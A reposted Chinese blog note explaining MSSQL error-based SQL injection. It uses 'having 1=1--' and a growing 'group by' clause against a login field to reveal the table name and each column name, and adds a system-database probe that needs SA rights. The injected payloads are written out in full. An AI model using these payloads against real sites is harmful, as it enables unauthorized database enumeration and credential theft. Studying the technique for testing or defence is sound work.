1. 程式人生 > >MSSQL注入利用Group by&having猜表名和欄位名

MSSQL注入利用Group by&having猜表名和欄位名

轉自靈魂BLOG!!

lcx和劍心等大牛在06年的時候就已經在用這種語法了,而我等小輩到最近才領略到,慚愧慚愧......

手頭暫時沒有注入點測試,就先以我機器上的MSSQL做實驗吧。
下面的語句我直接寫完整的SQL語句,注入的時候稍微改改就能用了,呵呵。

假如現在有個注入點,所查詢表的結構如下圖 :

 

但是我們是不知道表明,不知道列名的....

如果這個注入點原來的SQL語句是:"select * from FK_admin where x_name='"&username&"'"
我們可以在使用者名稱提交的地方填zerosoul' having 1=1--
整個SQL語句就變成了select * from FK_admin where x_name='zerosoul' having 1=1--'
返回結果如下圖,可以把表明FK_admin和第一個列名id爆出來:



著提交zerosoul' group by id having 1=1--
第二個列名x_name也出來了,如下圖:


再提交zerosoul' group by id,x_name having 1=1--,爆出第三個列名x_pass,如下圖:


然後提交zerosoul' group by id,x_name,x_pass having 1=1--,爆出第最後一個列明x_level。


剩下的事情就比較簡單了,呵呵,就需要自由發揮了。

當然如果是SA的話還可以用(select count(*) from master.dbo.sysdatabases where dbid=5)=1這樣的語句直接猜MSSQL的系統資料庫獲得一些敏感資訊。上面這個方法在DBO許可權下也測試通過。

我覺得我SQL語句學的還是太淺了,只學了基本的語法(貌似大多數人都這樣),lcx和劍心他們可能學的比較深入。有時間的話看來我也得繼續深入一下了。
這玩意,如果研究的比較深的話,說不定哪天能想出什麼奇技淫巧呢,嘿嘿。特別是Oracle,還有一大片牛X的語句等著人去開墾呢。

昨天通宵到現在....本來都關電腦準備睡覺了,上了個廁所突然想起這個來....怕先放下的話會又忘掉,所以又開了電腦實踐了一下,順便做了這個筆記,呵呵。